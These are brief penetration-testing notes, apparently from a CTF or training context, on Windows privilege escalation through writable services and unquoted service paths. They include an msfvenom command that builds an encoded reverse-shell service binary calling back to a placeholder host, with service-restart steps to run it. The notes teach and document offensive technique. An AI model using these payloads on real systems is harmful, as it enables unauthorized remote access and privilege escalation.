# windows

## Enumeration

run scripts such as PowerUp (PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.) and Winpeas.

## Writable and restartable services

<figure><img src="https://859957243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fde5Oj59jxsVsTZcMyIgC%2Fuploads%2Fz834b1cGNPef3vR2Ee8k%2Fimage.png?alt=media&#x26;token=e1d36ada-7351-41ba-b3e3-b3ae0dd5fa2b" alt=""><figcaption><p>an example</p></figcaption></figure>

in this example we can replace `ASCService.exe` with a payload and get a root reverse shell.

`msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe`

then restart the service:

```powershell
C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemService9
[output...]
C:\Program Files (x86)\IObit\Advanced SystemCare>sc start AdvancedSystemService9
```

## Unquoted service path

<figure><img src="https://859957243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fde5Oj59jxsVsTZcMyIgC%2Fuploads%2FBFBOSNJ24FatvOUvs4R6%2Fimage.png?alt=media&#x26;token=61717042-c447-4e93-8f44-8a15bdd2b1fe" alt=""><figcaption></figcaption></figure>

we can exploit this vulnerability by putting a payload named `Advanced.exe` in `C:\Program Files (x86)\IObit\`.

then again restart the service and the payload gets executed.

```
C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemService9
[output...]
C:\Program Files (x86)\IObit\Advanced SystemCare>sc start AdvancedSystemService9
```

explenation at <https://juggernaut-sec.com/unquoted-service-paths/>.

eg.

if we have a service at **C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe**

Since there are spaces and no quotes in the file path to the service executable, the service will attempt to start by treating each part of the folder name before the space as an executable that resides in the previous folder, like so:

* C:\Program.exe
* C:\Program Files\Juggernaut.exe
* C:\Program Files\Juggernaut Prod\Production.exe
* C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
